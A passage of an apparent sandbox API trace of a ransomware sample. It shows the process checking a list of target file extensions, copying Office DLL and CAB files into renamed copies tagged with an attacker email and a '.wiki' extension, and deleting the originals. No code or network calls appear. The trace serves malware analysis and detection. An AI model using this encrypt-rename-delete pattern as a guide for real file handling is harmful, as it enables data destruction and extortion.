[0188.874] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0188.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.874] lstrlenW (lpString=".doc") returned 4 [0188.874] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0188.874] lstrlenW (lpString=".docx") returned 5 [0188.874] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0188.874] lstrlenW (lpString=".pdf") returned 4 [0188.874] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0188.874] lstrlenW (lpString=".xls") returned 4 [0188.874] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0188.874] lstrlenW (lpString=".xlsx") returned 5 [0188.874] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0188.874] lstrlenW (lpString=".ppt") returned 4 [0188.874] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0188.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.874] lstrlenW (lpString=".zip") returned 4 [0188.874] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0188.874] lstrlenW (lpString=".rar") returned 4 [0188.874] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0188.874] lstrlenW (lpString=".bz2") returned 4 [0188.874] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0188.874] lstrlenW (lpString=".7z") returned 3 [0188.875] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0188.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.875] lstrlenW (lpString=".dbf") returned 4 [0188.875] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0188.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.875] lstrlenW (lpString=".1cd") returned 4 [0188.875] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0188.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0188.875] lstrlenW (lpString=".jpg") returned 4 [0188.875] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0188.875] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0188.875] lstrlenW (lpString="MSOXMLMF.DLL") returned 12 [0188.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.875] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=56192) returned 1 [0188.875] CloseHandle (hObject=0x20c) returned 1 [0188.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 0x20 [0188.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.876] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.876] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0188.876] GetLastError () returned 0x0 [0188.876] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0xdb80, lpOverlapped=0x0) returned 1 [0188.911] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xdb90, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xdb90, lpOverlapped=0x0) returned 1 [0188.912] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.913] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.913] SetEndOfFile (hFile=0x1c8) returned 1 [0188.913] CloseHandle (hObject=0x1c8) returned 1 [0188.913] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.913] SetEndOfFile (hFile=0x20c) returned 1 [0188.914] CloseHandle (hObject=0x20c) returned 1 [0188.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 1 [0188.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.914] lstrlenW (lpString=".doc") returned 4 [0188.914] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0188.914] lstrlenW (lpString=".docx") returned 5 [0188.914] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0188.914] lstrlenW (lpString=".pdf") returned 4 [0188.914] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0188.914] lstrlenW (lpString=".xls") returned 4 [0188.915] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0188.915] lstrlenW (lpString=".xlsx") returned 5 [0188.915] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0188.915] lstrlenW (lpString=".ppt") returned 4 [0188.915] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0188.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.915] lstrlenW (lpString=".zip") returned 4 [0188.915] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0188.915] lstrlenW (lpString=".rar") returned 4 [0188.915] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0188.915] lstrlenW (lpString=".bz2") returned 4 [0188.915] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0188.915] lstrlenW (lpString=".7z") returned 3 [0188.915] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0188.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.915] lstrlenW (lpString=".dbf") returned 4 [0188.915] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0188.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.915] lstrlenW (lpString=".1cd") returned 4 [0188.915] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0188.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.915] lstrlenW (lpString=".jpg") returned 4 [0188.915] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0188.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.915] lstrlenW (lpString=".doc") returned 4 [0188.915] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0188.915] lstrlenW (lpString=".docx") returned 5 [0188.915] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0188.915] lstrlenW (lpString=".pdf") returned 4 [0188.915] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0188.915] lstrlenW (lpString=".xls") returned 4 [0188.916] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0188.916] lstrlenW (lpString=".xlsx") returned 5 [0188.916] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0188.916] lstrlenW (lpString=".ppt") returned 4 [0188.916] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0188.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.916] lstrlenW (lpString=".zip") returned 4 [0188.916] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0188.916] lstrlenW (lpString=".rar") returned 4 [0188.916] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0188.916] lstrlenW (lpString=".bz2") returned 4 [0188.916] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0188.916] lstrlenW (lpString=".7z") returned 3 [0188.916] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0188.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.916] lstrlenW (lpString=".dbf") returned 4 [0188.916] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0188.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.916] lstrlenW (lpString=".1cd") returned 4 [0188.916] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0188.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0188.916] lstrlenW (lpString=".jpg") returned 4 [0188.916] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0188.916] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0188.916] lstrlenW (lpString="MSPTLS.DLL") returned 10 [0188.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.917] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1198464) returned 1 [0188.917] CloseHandle (hObject=0x20c) returned 1 [0188.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 0x20 [0188.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.917] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.917] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0188.918] GetLastError () returned 0x0 [0188.918] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0189.205] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0189.414] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x24990, lpOverlapped=0x0) returned 1 [0189.424] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x249a0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x249a0, lpOverlapped=0x0) returned 1 [0189.436] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.436] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0189.436] SetEndOfFile (hFile=0x1c8) returned 1 [0190.068] CloseHandle (hObject=0x1c8) returned 1 [0190.099] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.100] SetEndOfFile (hFile=0x20c) returned 1 [0190.101] CloseHandle (hObject=0x20c) returned 1 [0190.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.101] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 1 [0190.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.102] lstrlenW (lpString=".doc") returned 4 [0190.102] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.102] lstrlenW (lpString=".docx") returned 5 [0190.102] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0190.102] lstrlenW (lpString=".pdf") returned 4 [0190.102] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.102] lstrlenW (lpString=".xls") returned 4 [0190.102] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.102] lstrlenW (lpString=".xlsx") returned 5 [0190.102] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0190.102] lstrlenW (lpString=".ppt") returned 4 [0190.102] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.102] lstrlenW (lpString=".zip") returned 4 [0190.102] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.102] lstrlenW (lpString=".rar") returned 4 [0190.102] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.102] lstrlenW (lpString=".bz2") returned 4 [0190.102] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.102] lstrlenW (lpString=".7z") returned 3 [0190.102] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.102] lstrlenW (lpString=".dbf") returned 4 [0190.102] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.102] lstrlenW (lpString=".1cd") returned 4 [0190.103] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.103] lstrlenW (lpString=".jpg") returned 4 [0190.103] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.103] lstrlenW (lpString=".doc") returned 4 [0190.103] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.103] lstrlenW (lpString=".docx") returned 5 [0190.103] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0190.103] lstrlenW (lpString=".pdf") returned 4 [0190.103] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.103] lstrlenW (lpString=".xls") returned 4 [0190.103] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.103] lstrlenW (lpString=".xlsx") returned 5 [0190.103] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0190.103] lstrlenW (lpString=".ppt") returned 4 [0190.103] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.103] lstrlenW (lpString=".zip") returned 4 [0190.103] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.103] lstrlenW (lpString=".rar") returned 4 [0190.103] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.103] lstrlenW (lpString=".bz2") returned 4 [0190.103] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.103] lstrlenW (lpString=".7z") returned 3 [0190.103] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.103] lstrlenW (lpString=".dbf") returned 4 [0190.103] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.104] lstrlenW (lpString=".1cd") returned 4 [0190.104] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0190.104] lstrlenW (lpString=".jpg") returned 4 [0190.104] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.104] lstrcmpiW (lpString1=".CAB", lpString2=".wiki") returned -1 [0190.104] lstrlenW (lpString="MUAUTH.CAB") returned 10 [0190.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0190.104] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=6747) returned 1 [0190.105] CloseHandle (hObject=0x20c) returned 1 [0190.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0190.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0190.105] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.105] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.105] GetLastError () returned 0x0 [0190.105] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x1a5b, lpOverlapped=0x0) returned 1 [0190.107] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x1a60, lpOverlapped=0x0) returned 1 [0190.108] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.108] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0190.108] SetEndOfFile (hFile=0x1dc) returned 1 [0190.108] CloseHandle (hObject=0x1dc) returned 1 [0190.108] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.109] SetEndOfFile (hFile=0x20c) returned 1 [0190.109] CloseHandle (hObject=0x20c) returned 1 [0190.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.110] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 1 [0190.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.110] lstrlenW (lpString=".doc") returned 4 [0190.110] lstrcmpiW (lpString1=".doc", lpString2=".CAB") returned 1 [0190.110] lstrlenW (lpString=".docx") returned 5 [0190.110] lstrcmpiW (lpString1=".docx", lpString2="H.CAB") returned -1 [0190.110] lstrlenW (lpString=".pdf") returned 4 [0190.110] lstrcmpiW (lpString1=".pdf", lpString2=".CAB") returned 1 [0190.110] lstrlenW (lpString=".xls") returned 4 [0190.110] lstrcmpiW (lpString1=".xls", lpString2=".CAB") returned 1 [0190.110] lstrlenW (lpString=".xlsx") returned 5 [0190.110] lstrcmpiW (lpString1=".xlsx", lpString2="H.CAB") returned -1 [0190.110] lstrlenW (lpString=".ppt") returned 4 [0190.110] lstrcmpiW (lpString1=".ppt", lpString2=".CAB") returned 1 [0190.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.110] lstrlenW (lpString=".zip") returned 4 [0190.110] lstrcmpiW (lpString1=".zip", lpString2=".CAB") returned 1 [0190.110] lstrlenW (lpString=".rar") returned 4 [0190.110] lstrcmpiW (lpString1=".rar", lpString2=".CAB") returned 1 [0190.110] lstrlenW (lpString=".bz2") returned 4 [0190.110] lstrcmpiW (lpString1=".bz2", lpString2=".CAB") returned -1 [0190.110] lstrlenW (lpString=".7z") returned 3 [0190.110] lstrcmpiW (lpString1=".7z", lpString2="CAB") returned -1 [0190.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.110] lstrlenW (lpString=".dbf") returned 4 [0190.110] lstrcmpiW (lpString1=".dbf", lpString2=".CAB") returned 1 [0190.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.111] lstrlenW (lpString=".1cd") returned 4 [0190.111] lstrcmpiW (lpString1=".1cd", lpString2=".CAB") returned -1 [0190.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.111] lstrlenW (lpString=".jpg") returned 4 [0190.111] lstrcmpiW (lpString1=".jpg", lpString2=".CAB") returned 1 [0190.111] lstrlenW (lpString="C:\\Program 